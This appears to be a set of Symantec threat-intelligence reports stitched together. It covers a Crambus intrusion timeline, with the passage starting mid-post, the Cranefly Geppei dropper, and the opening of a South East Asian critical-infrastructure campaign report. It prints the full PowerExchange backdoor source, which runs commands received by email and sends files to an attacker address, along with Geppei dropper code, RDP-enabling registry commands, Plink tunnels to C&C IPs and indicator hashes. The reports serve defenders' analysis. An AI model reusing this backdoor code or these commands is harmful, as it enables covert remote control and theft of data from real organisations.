The command is used to set up a port forwarding tunnel from the compromised machine as a means to access the remote server’s RDP service as if it was running locally.
On April 23, activity resumed on Computer 3, when previously unseen malware named Backdoor.Tokel (file name: telecomm.exe) was executed.
On May 7, a suspicious PowerShell command was executed on the Domain Controller (Computer 4) to run an unknown script (file name: hwf.ps1).
Malicious activity appeared to cease for nearly a month until June 4, when Backdoor.Tokel was executed again on Computer 3. On June 17, a suspicious PowerShell command was executed on the Domain Controller (Computer 4) in order to run another unknown script (file name: zone.ps1).
Harvesting Emails
On June 20, Backdoor.PowerExchange (file name: setapp.ps1) was run on Computer 3.
The PowerShell-based backdoor is designed to execute commands received from the attackers. This is done by logging into compromised mailboxes on an Exchange Server and monitoring for incoming emails from the attackers. Email’s that contain “@@” in the subject line are read by Backdoor.PowerExchange and have the ability to execute commands received from the attackers, effectively using the Exchange Server as a C&C.
The script allows four commands to execute:
If an attachment is detected, it will decode it using Base64 and run it via PowerShell.
cf: Decodes a Base64 string in the body of the email and executes it via PowerShell. The result of the command is sent back to the attacker via email.
uf: Decodes the file path and the file contents using Base64 and calls WriteAllBytes to write the file to the system.
df: Encodes a specified file with Base64 and sends it to the attacker via email. If the file is larger than 5MB it sends the following message to the attacker: "Size is Greater than 5 MB".
The attackers likely installed the script on an ordinary computer on the network in order to avoid raising suspicions created by anomalous network traffic, since internal connections to an Exchange Server are expected behavior.
Malicious Activity Continues
On July 1, the attackers once again utilized the masqueraded version of Plink to open a tunnel on Computer 3 by redirecting RDP to Port 12345 on any listening interface, effectively allowing external connections over RDP to the compromised machine. The next day, July 2, the attackers used netstat to list all open and listening TCP and UDP ports. It's possible the attackers were checking that the SSH tunnel was still active.
On July 8, the attackers used the Domain Controller (Computer 4) to create a service on a remote host (10.75.45[.]222) to run an unknown script (file name: pl.bat). The service was configured to auto-start during the boot up process.
Over the next two days, July 9 and 10, another new piece of malware named Trojan.Dirps (file name: virtpackage.exe) was repeatedly executed on Computer 3.
On July 11, the attackers introduced more malicious tools to Computer 3, installing a third new piece of malware named Infostealer.Clipog (file name (poluniq.exe) which is used to capture keystrokes and steal clipboard contents.
The next day (July 12) the attackers ran Mimikatz on the Domain Controller (Computer 4) to dump credentials.
On July 15, the attackers again ran the unknown PowerShell script (zone.ps1) on the Domain Controller (Computer 4), followed by a second unknown script (copy.ps1).
On July 18, the attackers again executed Infostealer.Clipog on Computer 3 before creating an SSH tunnel using Plink to access RDP services. This SSH tunnel was created again on August 3.
On August 6, yet another unknown PowerShell script (file name: tnc.ps1) was executed on the Domain Controller (Computer 4). Immediately afterwards, Nessus vulnerability scans were observed, specially hunting for Log4j vulnerabilities on other machines on the network. While this could have been legitimate vulnerability scanning activity, not long afterwards netsh was executed to list all firewall rules.
CSIDL_SYSTEM\netsh.exe advfirewall firewall show rule name=[REMOVED] verbose
Following this, another PowerShell script was executed. The script appeared to be designed to query and collect information about local user groups and their members on a Windows system. Its output was information about SIDs, names, object classes, and principal sources of local user groups and their members in a structured format.
CSIDL_SYSTEM\windowspowershell\v1.0\powershell -NoProfile -Command ;& {$j = sajb {$ErrorActionPreference = 'SilentlyContinue';$groups = Get-LocalGroup | Select-Object Name, Domain, SID;foreach($g in $groups){-join($g.SID,'|',$g.Name);$members = Get-LocalGroupMember -SID $g.SID | Select *;foreach($m in $members){-join(' ',$m.SID,'|',$m.Name,'|',$m.ObjectClass,'|',$m.PrincipalSource);}}};$r = wjb $j -Timeout 300; rcjb $j;};
After this, net.exe was used to list all mapped drives, before WMI (Windows Management Instrumentation) was used to execute Plink in order to open port-forwarding on the compromised host, allowing for remote RDP access.
On August 7 and again on August 12, Plink was downloaded from the internet on to the Domain Controller (Computer 4) and saved as \ProgramData\Adobe.exe.
On August 30, the attackers obtained access to a second web server (Web Server 2). They first used Plink to enable access to RDP on Port 12345 from their C&C server (91.132.92[.]90). They then installed Infostealer.Clipog using a different file name (fs-tool.exe).
The next day, August 31, the attackers established a tunnel once again to open RDP access on Port 4455 from their C&C. Output was redirected to a text file (file name: 001.txt). There may have been some issues connecting as the attackers later attempted to create the same tunnel, this time using Port 12345.
On September 1, the attackers shifted their attention to three more computers (Computer 5, Computer 6 and Computer 7), using Certutil to download Plink to each machine. They then executed an unknown PowerShell script (file name: joper.ps1) on Web Server 2.
On September 2, the attackers ran the following netstat command on Web Server 2:
netstat -a
This command is used to list all active connections. The unknown PowerShell script (file name: joper.ps1) was then run again.
On September 3, the attackers once again ran joper.ps1 before two suspicious Wireshark commands were executed:
;CSIDL_SYSTEM_DRIVE\program files\wireshark\extcap\usbpcapcmd.exe; --extcap-interfaces --extcap-version=4.0
;CSIDL_SYSTEM_DRIVE\program files\wireshark\dumpcap.exe; -D -Z none
Wireshark’s usbcapcmd utility was used to capture USB traffic on specified USB devices and save the captured data to a file. Similarly, dumpcap was used to capture network packets.
Usbpcapcmd:
--extcap-interfaces: This option is used to list available external capture interfaces.
--extcap-version=4.0: Sets the version of Extcap to 4.0 (ensuring compatibility with Wireshark).
Dumpcap:
-D: Used to list all available capture interfaces.
-Z none: Sets the capture filter to “none” meaning that all packets on a specified interface should be captured.
It appears the attackers were interested in identifying any available network or USB interfaces from which they could capture packets on the machine.
Immediately afterwards, a suspicious netstat command ran:
netstat -a –n
This will list all active connections and print them to standard output in numerical form.
After joper.ps1 was once again executed, the attackers turned their attention back to Computer 3, where they ran a number of reg.exe commands:
reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
cmd.exe /c reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
cmd.exe /c reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
These commands were used to modify system configuration to enable Terminal Services (i.e. remote access) to the computer via RDP.
A few hours later, a suspicious net.exe command was executed to mount the c$ share of another machine using stolen credentials.
;CSIDL_SYSTEM\net.exe; use \\[REMOVED]\c$ /user:[REMOVED] [REMOVED]
On September 4, the attackers executed three different variants of the joper.ps1 script on Web Server 2. They then turned their attention back to Computer 1, where a new variant of the Backdoor.Tokel malware was installed on the computer.
The next day, September 5 the attackers once again ran the joper.ps1 script on Web Server 2, while using net.exe to mount and unmount various network shares. They then executed Backdoor.Tokel on Computer 3 again before installing it on two more computers (Computer 9 and Computer 10).
Malicious activity continued until September 9, with the attackers largely focusing their attention on Web Server 2, running the joper.ps1 script and mounting/unmounting network shares.
Continuing Threat
Crambus is a long-running and experienced espionage group that has extensive expertise in carrying out long campaigns aimed at targets of interest to Iran. After a 2019 leak of its toolset, there was some speculation that Crambus may disappear. However, its activities over the past two years demonstrate that it represents a continuing threat for organizations in the Middle East and further afield.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
4d04ad9d3c3abeb61668e52a52a37a46c1a60bc8f29f12b76ff9f580caeefba8 – Backdoor.Tokel
41672b08e6e49231aedf58123a46ed7334cafaad054f2fd5b1e0c1d5519fd532 – Backdoor.Tokel
497e1c76ed43bcf334557c64e1a9213976cd7df159d695dcc19c1ca3d421b9bc – Trojan.Dirps
75878356f2e131cefb8aeb07e777fcc110475f8c92417fcade97e207a94ac372 – Infostealer.Clipog
d884b3178fc97d1077a13d47aadf63081559817f499163c2dc29f6828ee08cae – Backdoor.PowerExchange
a1a633c752be619d5984d02d4724d9984463aa1de0ea1375efda29cadb73355a – PowerShell script
22df38f5441dec57e7d7c2e1a38901514d3f55203b2890dc38d2942f1e4bc100 – PowerShell script
159b07668073e6cd656ad7e3822db997d5a8389a28c439757eb60ba68eaff70f – PowerShell script
6964f4c6fbfb77d50356c2ee944f7ec6848d93f05a35da6c1acb714468a30147 – PowerShell script
661c9535d9e08a3f5e8ade7c31d5017519af2101786de046a4686bf8a5a911ff – PowerShell script
db1cbe1d85a112caf035fd5d4babfb59b2ca93411e864066e60a61ec8fe27368 – PowerShell script
497978a120f1118d293906524262da64b15545ee38dc0f6c10dbff3bd9c0bac2 – PowerShell script
db1cbe1d85a112caf035fd5d4babfb59b2ca93411e864066e60a61ec8fe27368 – PowerShell script
6b9f60dc91fbee3aecb4a875e24af38c97d3011fb23ace6f34283a73349c4681 – PowerShell script
497978a120f1118d293906524262da64b15545ee38dc0f6c10dbff3bd9c0bac2 – PowerShell script
be6d631fb2ff8abe22c5d48035534d0dede4abfd8c37b1d6cbf61b005d1959c1 – PowerShell script
22df38f5441dec57e7d7c2e1a38901514d3f55203b2890dc38d2942f1e4bc100 – PowerShell script
661c9535d9e08a3f5e8ade7c31d5017519af2101786de046a4686bf8a5a911ff – PowerShell script
159b07668073e6cd656ad7e3822db997d5a8389a28c439757eb60ba68eaff70f – PowerShell script
6bad09944b3340947d2b39640b0e04c7b697a9ce70c7e47bc2276ed825e74a2a – PowerShell script
ba620b91bef388239f3078ecdcc9398318fd8465288f74b4110b2a463499ba08 – PowerShell script
d0bfdb5f0de097e4460c13bc333755958fb30d4cb22e5f4475731ad1bdd579ec – PowerShell script
5a803bfe951fbde6d6b23401c4fd1267b03f09d3907ef83df6cc25373c11a11a – PowerShell script
1698f9797f059c4b30f636d16528ed3dd2b4f8290e67eb03e26181e91a3d7c3b – PowerShell script
23db83aa81de19443cafe14c9c0982c511a635a731d6df56a290701c83dae9c7 – PowerShell script
41ff7571d291c421049bfbd8d6d3c51b0a380db3b604cef294c1edfd465978d9 – PowerShell script
c488127b3384322f636b2a213f6f7b5fdaa6545a27d550995dbf3f32e22424bf – PowerShell script
6964f4c6fbfb77d50356c2ee944f7ec6848d93f05a35da6c1acb714468a30147 – PowerShell script
927327bdce2f577b1ee19aa3ef72c06f7d6c2ecd5f08acc986052452a807caf2 – PowerShell script
a6365e7a733cfe3fa5315d5f9624f56707525bbf559d97c66dbe821fae83c9e9 – PowerShell script
c3ac52c9572f028d084f68f6877bf789204a6a0495962a12ee2402f66394a918 – PowerShell script
7e107fdd6ea33ddc75c1b75fdf7a99d66e4739b4be232ff5574bf0e116bc6c05 – PowerShell script
78.47.218[.]106 – Plink C&C
192.121.22[.].46 – Plink C&C
151.236.19[.]91 – Plink C&C
91.132.92[.]90 – Plink C&C
PowerExchange Script
$OutputEncoding = [console]::InputEncoding = [console]::OutputEncoding = New-Object System.Text.UTF8Encoding
$dir="$env:PUBLIC\MicrosoftEdge"
$directory = get-childitem -Path "$($dir)\*" -Include 'config.conf'
$userid = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:COMPUTERNAME))
$mailList = New-Object Collections.Generic.List[String]
$mailList.Add('[email protected]')
$subject = "Update Microsoft Edge"
$body = "Microsoft Edge Update"
$rule = "defaultexchangerules"
function addrule
{
$NewRule = [Microsoft.Exchange.WebServices.Data.Rule]::new()
$NewRule.DisplayName = $rule
$NewRule.Priority = 1
$newRule.IsEnabled = $true;
$NewRule.Conditions.ContainsSubjectStrings.Add("@@")
$NewRule.Actions.MoveToFolder = [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::DeletedItems
$CreateRuleOperation = [Microsoft.Exchange.WebServices.Data.CreateRuleOperation]::new($NewRule)
$ExchangeService.UpdateInboxRules([Microsoft.Exchange.WebServices.Data.RuleOperation[]]@($CreateRuleOperation),$true)
}
function connection
{
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
$dllpath = get-childitem -Path "$($dir)\*" -Include 'Microsoft.Exchange.WebServices.dll'
try{[void][Reflection.Assembly]::LoadFile($dllpath.FullName)}catch{$_.Exception | Out-File -FilePath "$($dir)\EWSERROR.txt" -Append;exit}
$global:ExchangeService = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService
$ExchangeService.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
$urllist = @([System.Uri][REMOVED],[System.Uri] [REMOVED],[System.Uri] [REMOVED])
$userlist = @([REMOVED],[REMOVED])
foreach($item in $userlist )
{
$username=$item.split('||')[0]
$password=$item.split('||')[2]
if(-not [string]::IsNullOrEmpty($username))
{
$ExchangeService.Credentials = New-Object Microsoft.Exchange.WebServices.Data.WebCredentials($username,$password)
foreach($url in $urllist)
{
$ExchangeService.Url=$url
try
{
$inboxfolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($ExchangeService,[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
$rules= $ExchangeService.GetInboxRules().DisplayName
if(-not [string]::IsNullOrEmpty($rules)){if(-not $rules.Contains("defaultexchangerules")){addrule}}else{addrule}
return $true
}
catch{"URL: "+$url.Host+[Environment]::NewLine+"User: "+$username+[Environment]::NewLine+$_.Exception.Message | Out-File -FilePath "$($dir)\EWSERROR.txt" -Append}
}
}
$exchangeservice.UseDefaultCredentials=$true
foreach($url in $urllist)
{
try
{
$inboxfolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($ExchangeService,[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
$rules= $ExchangeService.GetInboxRules().DisplayName
if(-not [string]::IsNullOrEmpty($rules)){if(-not $rules.Contains("defaultexchangerules")){addrule}}else{addrule}
return $true
}
catch{}
}
if(-not [string]::IsNullOrEmpty($username))
{
$ExchangeService.Credentials = New-Object Microsoft.Exchange.WebServices.Data.WebCredentials($username,$password)
try
{
$ExchangeService.AutodiscoverUrl($username)
try
{
$inboxfolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($ExchangeService,[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
$rules= $ExchangeService.GetInboxRules().DisplayName
if(-not [string]::IsNullOrEmpty($rules)){if(-not $rules.Contains("defaultexchangerules")){addrule}}else{addrule}
return $true
}catch{}
}catch{}
}
$exchangeservice.UseDefaultCredentials = $true
try
{
$ExchangeService.AutodiscoverUrl($username)
try
{
$inboxfolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($ExchangeService,[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
$rules= $ExchangeService.GetInboxRules().DisplayName
if(-not [string]::IsNullOrEmpty($rules)){if(-not $rules.Contains("defaultexchangerules")){addrule}}else{addrule}
return $true
}catch{}
}catch{Continue}
}
}
function clean
{
$folder = New-Object Microsoft.Exchange.WebServices.Data.FolderId([Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
try{$inboxfolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($exchangeservice,$folder)}catch{}
$iv = New-object Microsoft.Exchange.WebServices.Data.ItemView(10)
$inboxitems= $inboxfolder.FindItems($iv)
$itemIds = $inboxitems.id.UniqueId
foreach($itemId in $itemIds)
{
try{$message = [Microsoft.Exchange.WebServices.Data.Item]::Bind($ExchangeService,$itemId)}catch{}
if($mailList.Contains($message.ToRecipients.Name))
{
$message.Delete('HardDelete')
}
}
}
function sendMessage
{param([string]$mail,[string]$data)
$message = New-Object Microsoft.Exchange.WebServices.Data.EmailMessage($ExchangeService)
$Resultb64Bytes = [System.Text.Encoding]::UTF8.GetBytes($data)
$message.ToRecipients.Add($mail)
$message.Subject = $subject
$message.Body = $body
$message.Attachments.AddFileAttachment("New Text Document.txt",$Resultb64Bytes)
try{$message.Send()}catch{}
Start-Sleep -Seconds 15
clean
}
function verify
{
$response = New-Object Collections.Generic.List[String]
$Inbox = [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox
$DeletedItems=[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::DeletedItems
$JunkEmail=[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::JunkEmail
$folders=@($DeletedItems,$Inbox,$JunkEmail)
foreach($f in $folders)
{
$folder = New-Object Microsoft.Exchange.WebServices.Data.FolderId($f)
try{$inboxfolder=[Microsoft.Exchange.WebServices.Data.Folder]::Bind($ExchangeService,$folder)}catch{}
$iv = New-object Microsoft.Exchange.WebServices.Data.ItemView(10)
$searchFilter = New-Object Microsoft.Exchange.WebServices.Data.SearchFilter+ContainsSubstring([Microsoft.Exchange.WebServices.Data.ItemSchema]::subject,'@@')
$result = $ExchangeService.FindItems($folder,$searchFilter,$iv)
if(-not [string]::IsNullOrEmpty($result))
{
$ItemIds = $result.id.UniqueId
foreach($ItemId in $ItemIds)
{
try{$x=[Microsoft.Exchange.WebServices.Data.Item]::Bind($ExchangeService,$ItemId)}catch{}
$mailSender = $x.sender.Address
$xx = $x.Subject -match "@@(.*)@@"
try{$id=$Matches[1]}catch{}
if(-not [string]::IsNullOrEmpty($id))
{
if($id -eq $userid )
{
$response.Add("planA")
$response.Add($ItemId)
return $response
}
}
elseif($flag -eq $false)
{
$response.Add("planB")
$response.Add($mailSender)
return $response
}
}
}
}
return $response
}
function main{
Param
(
[string] $ItemId
)
try{$message=[Microsoft.Exchange.WebServices.Data.Item]::Bind($ExchangeService,$ItemId)}catch{}
$mailSender = $message.Sender.Address
$message.IsRead=$true
$message.Update([Microsoft.Exchange.WebServices.Data.ConflictResolutionMode]::AutoResolve)
foreach($attachment in $message.Attachments)
{
$attachment.Load()
$RawData = ([System.Text.Encoding]::UTF8.GetString($attachment.Content)).substring(7)
if ($RawData.Length%4 -ne 0)
{
$newRawData = $RawData.PadRight(($RawData.Length+$RawData.Length%4),'=')
$Data = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($newRawData))
}else{
$Data = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($RawData))
}
iex($Data)
$message.Delete('HardDelete')
if($cf -eq $true)
{
$uuid = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {[char]$_})
foreach ($h in $cmd.GetEnumerator())
{
if (($h.value).Length%4 -ne 0)
{
$newValue = ($h.value).PadRight((($h.value).Length+($h.value).Length%4),'=')
$com = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($newValue))
}else{
$com = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h.value))
}
if(![string]::IsNullOrEmpty($com))
{
$run = iex $com | out-string
$extb64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(".txt"))
$Total += "$($uuid)$($userid):$($h.Name):$($uuid)$([System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("$run"))):$($uuid)$($extb64)"+[System.Environment]::Newline
}
}
sendMessage $mailSender $Total
}
if($df -eq $true)
{
$uuid = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {[char]$_})
foreach ($h in $dl.GetEnumerator())
{
if (($h.value).Length%4 -ne 0)
{
$newpath = $($h.value).PadRight(($($h.value).Length+$($h.value).Length%4),'=')
$path = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($newpath)).Replace('"',"")
}else{
$path = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h.value)).Replace('"',"")
}
$size = (Get-Item $path).Length
if($size -lt 5mb )
{
$DataBytes= [System.IO.File]::ReadAllBytes($path)
$Datab64 = [Convert]::ToBase64String($DataBytes)
$ext = [System.IO.Path]::GetExtension($path)
$extb64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($ext))
}
else
{
$Datab64= [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("Size is Greater than 5 MB"))
$extb64= [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(".txt"))
}
$Total += "$($uuid)$($userid):$($h.Name):$($uuid)$($Datab64):$($uuid)$($extb64)"+[System.Environment]::Newline
}
sendMessage $mailSender $Total
}
if($uf -eq $true)
{
$uuid = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {[char]$_})
foreach ($h in $up.GetEnumerator())
{
$Fileb64 = ($h.value).split(':')[0]
$Pathb64 = ($h.value).split(':')[1]
if ($Pathb64.Length%4 -ne 0)
{
$newpathb64 = $Pathb64.PadRight(($Pathb64.Length+$Pathb64.Length%4),'=')
$path_save = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($newpathb64)).Replace('"','')
}else{
$path_save = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Pathb64)).Replace('"','')
}
if ($Fileb64.Length%4 -ne 0)
{
$newFileb64 = $Fileb64.PadRight(($Fileb64.Length+$Fileb64.Length%4),'=')
$Fileb64Bytes = [System.Convert]::FromBase64String($newFileb64)
}else{
$Fileb64Bytes = [System.Convert]::FromBase64String($Fileb64)
}
[System.IO.File]::WriteAllBytes($path_save,$Fileb64Bytes)
$Datab64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("file upload"))
$extb64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(".txt"))
$Total += "$($uuid)$($userid):$($h.Name):$($uuid)$($Datab64):$($uuid)$($extb64)"+[System.Environment]::Newline
}
sendMessage $mailSender $Total
}
}}
Function listen
{
$timer = [System.Diagnostics.Stopwatch]::StartNew()
while(($timer.Elapsed.TotalMinutes -lt 5) -and (([string]::IsNullOrEmpty($value))))
{
$value = verify
Start-Sleep -Seconds 10
}
$timer.Stop()
if(-not[string]::IsNullOrEmpty($value))
{
if($value[0] -eq "planA")
{
return $true
}
if($value[0] -eq "planB")
{
$mailList+= $value[1]
sendMessage $value[1] $userid
return $true
}
}
else
{
return $false
}
}
function alive
{
foreach ($mail in $mailList)
{
sendMessage $mail $userid
$liste = listen
if($liste -eq $true)
{
return $true
}
}
return $false
}
function core
{
$global:flag= $true
$value = verify
if(-not[string]::IsNullOrEmpty($value))
{
if($value[0] -eq "planA")
{
main $value[1]
}
}
}
$connect = connection
if($connect -eq $true)
{
if($directory.Name -ne 'config.conf')
{
$global:flag= $false
$aliv = alive
if($aliv -eq $true)
{
try{New-Item -Path "$($dir)" -ItemType File -Name "config.conf" -ErrorAction Stop;core}catch{}
}
}else{core}
}else{exit}
|
Cranefly: Threat Actor Uses Previously Unseen Techniques and Tools in Stealthy Campaign
Group uses novel method of reading commands from legitimate IIS logs.
Update November 2, 2022: Updated with new information regarding the link to UNC3524.
Symantec, by Broadcom Software, has discovered a previously undocumented dropper that is being used to install a new backdoor and other tools using the novel technique of reading commands from seemingly innocuous Internet Information Services (IIS) logs.
The dropper (Trojan.Geppei) is being used by an actor Symantec calls Cranefly to install another piece of hitherto undocumented malware (Trojan.Danfuan) and other tools. The technique of reading commands from IIS logs is not something Symantec researchers have seen being used to date in real-world attacks.
Initial analysis appeared to show a link between Cranefly activity and the activity of a group called UNC3524 that Mandiant published a blog about in May 2022. This link was primarily based on the use of the Regeorg webshell, however, as this is publicly available on Github, its use alone is not sufficient to establish a firm link.
Technical Details
The first malicious activity Symantec researchers saw on victim machines was the presence of a previously undocumented dropper (Trojan.Geppei). It uses PyInstaller, which converts Python script to an executable file.
Geppei reads commands from a legitimate IIS log. IIS logs are meant to record data from IIS, such as web pages and apps. The attackers can send commands to a compromised web server by disguising them as web access requests. IIS logs them as normal but Trojan.Geppei can read them as commands.
The commands read by Geppei contain malicious encoded .ashx files. These files are saved to an arbitrary folder determined by the command parameter and they run as backdoors.
The strings Wrde, Exco, and Cllo don't normally appear in IIS log files. These appear to be used for malicious HTTP request parsing by Geppei; the presence of these strings prompts the dropper to carry out activity on a machine.
The attackers can use a dummy URL or even a non-existent URL to send these commands because IIS logs 404s in the same log file by default.
flist = ['Wrde', 'Exco', 'Cllo', 'AppleWEBKit']
timenumber = 10
rows = 0
gflag = 0
while True:
time.sleep(600)
print('One Two Three')
try:
today = datetime.date.today()
list1 = str(today).split('-')
filename = 'u_ex' + list1[0][2:] + list1[1] + list1[2] + '.log'
path = 'C:/inetpub/logs/LogFiles/W3SVC1/' + filename
if os.path.exists(path):
shutil.copy(path, 'C:\\windows\\temp\\IIS1.log')
fp = open('C:\\windows\\temp\\IIS1.log', 'r')
line = fp.readline()
for i in range(rows):
line = fp.readline() if line != '':
if len(line.split('Wrde')) == 3:
temp1 = line.split('Wrde')
wrde(temp1[1])
if len(line.split('Exco')) == 3:
temp2 = line.split('Exco')
exco(temp2[1])
if len(line.split('Cllo')) == 3:
clear()
line = fp.readline()
rows += 1
else:
fp.close()
os.remove('C:\\windows\\temp\\IIS1.log')
except:
print('Bye-Bye')
If the malicious HTTP request sample contains "Wrde" e.g.:
GET [dummy string]Wrde[passed string to wrde()]Wrde[dummy string]
The passed string to wrde() is decrypted by Decrpt().
The decrypted string is expected to look like the following:
w+1+C:\\inetpub\\wwwroot\\test\\backdoor.ashx
These are the malicious .ashx files, which are saved as:
C:\\inetpub\\wwwroot\\test\\backdoor.ashx
The backdoors that are dropped by this dropper include:
Hacktool.Regeorg: ReGeorg is a known malware, a web shell that can create a SOCKS proxy. Two versions of ReGeorg were seen in the activity observed by Symantec.
Trojan.Danfuan: This is a previously unseen malware. It is a DynamicCodeCompiler that compiles and executes received C# code. It appears to be based on .NET dynamic compilation technology. This type of dynamically compiled code is not created on disk but exists in memory. It acts as a backdoor on infected systems.
When the malicious HTTP request sample contains "Exco", e.g.:
GET [dummy string]Exco[passed string to exco()]Exco[dummy string]
The passed string to exco() is decrypted by Decrpt() and this decrypted string is an executable command by os.system().
If the malicious HTTP request contains "Cllo", function clear() is called. This function drops a hacking tool called sckspy.exe to disable eventlog logging for Service Control Manager. This appears to be another previously undocumented tool.
It also appears that the clear() function attempts to remove lines that contain command or malicious .ashx file paths from the IIS log file; however, it does not inspect all lines so this function does not seem to work as intended.
def clear():
global gflag
global rows
text4 = '[malicious base64 encoded exe file]'
if gflag == 0:
try:
fw = open('c:\\windows\\temp\\DMI27F127.txt', 'w')
fw.write(text4)
fw.close()
os.system('certutil -decode c:\\windows\\temp\\DMI27F127.txt c:\\windows\\temp\\DMI27F127.cab')
os.system('expand c:\\windows\\temp\\DMI27F127.cab c:\\windows\\system32\\sckspy.exe')
os.system('c:\\windows\\system32\\sckspy.exe >c:\\windows\\temp\\DMI27F128.txt')
fp = open('c:\\windows\\temp\\DMI27F128.txt', 'r')
str1 = fp.readline()
if str1.find('success') != -1:
gflag = 1
fp.close()
os.system('del c:\\windows\\temp\\DMI27F127.txt')
os.system('del c:\\windows\\temp\\DMI27F127.cab')
os.system('del c:\\windows\\system32\\sckspy.exe')
os.system('del c:\\windows\\temp\\DMI27F128.txt')
except:
print('bye-bye')
Dropped malicious .ashx files (i.e. Trojan.Danfuan and Hacktool.Regeorg) are removed in wrde() if it is called with option 'r':
if info[0] == 'r':
temp = info[2].replace('\\\\', '\\')
os.system('del ' + temp)
name = temp.split('\\')
if name in flist:
flist.remove(name[(-1)][:-1])
Attribution
Hacktool.Regeorg has been used by multiple advanced persistent threat (APT) groups in the past, but as this code is publicly available on GitHub, its use does not offer sufficient clues for attribution. Symantec was unable to link this activity to any known groups.
The use of a novel technique and custom tools, as well as the steps taken to hide traces of this activity on victim machines, indicate that Cranefly is a fairly skilled threat actor. While we do not see data being exfiltrated from victim machines, the tools deployed and efforts taken to conceal this activity indicate that the most likely motivation for this group is intelligence gathering.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
Trojan.Geppei
12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e
981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475
6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1
0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379
7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95
b5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844
Hacktool
1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa
Hacktool.Regeorg
56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077
0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd
Trojan.Danfuan
0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e
|
Critical Infrastructure Organizations in South East Asia Targeted in Espionage Campaign
Attackers made extensive use of living-off-the-land techniques in campaign that lasted several months.
Four critical infrastructure organizations in a South East Asian country were targeted in an intelligence-gathering campaign that continued for several months. (Read the whitepaper here.)
Among the organizations targeted were a water company, a power company, a communications company, and a defense organization, with evidence the attackers were interested in information about SCADA systems.
The attacks were ongoing from at least November 2020 to March 2021, several months before the Colonial Pipeline attack that drew the attention of the world to the danger posed by attacks on critical infrastructure, and may have begun even earlier than that.
An attacker gaining access to multiple critical infrastructure organizations in the same country could potentially give malicious actors access to a vast amount of sensitive information.
There are numerous indications that the same attacker was behind all the attacks, including:
The geographic and sector links of the targeted organizations
The presence of certain artifacts on machines in the different organizations, including a downloader (found in two of the organizations), and a keylogger (found in three of the organizations)
The same IP address was also seen in attacks on two of the organizations
There are some indications that the attacker behind this campaign is based in China, but with the current information available, Symantec cannot attribute the activity to a known actor.
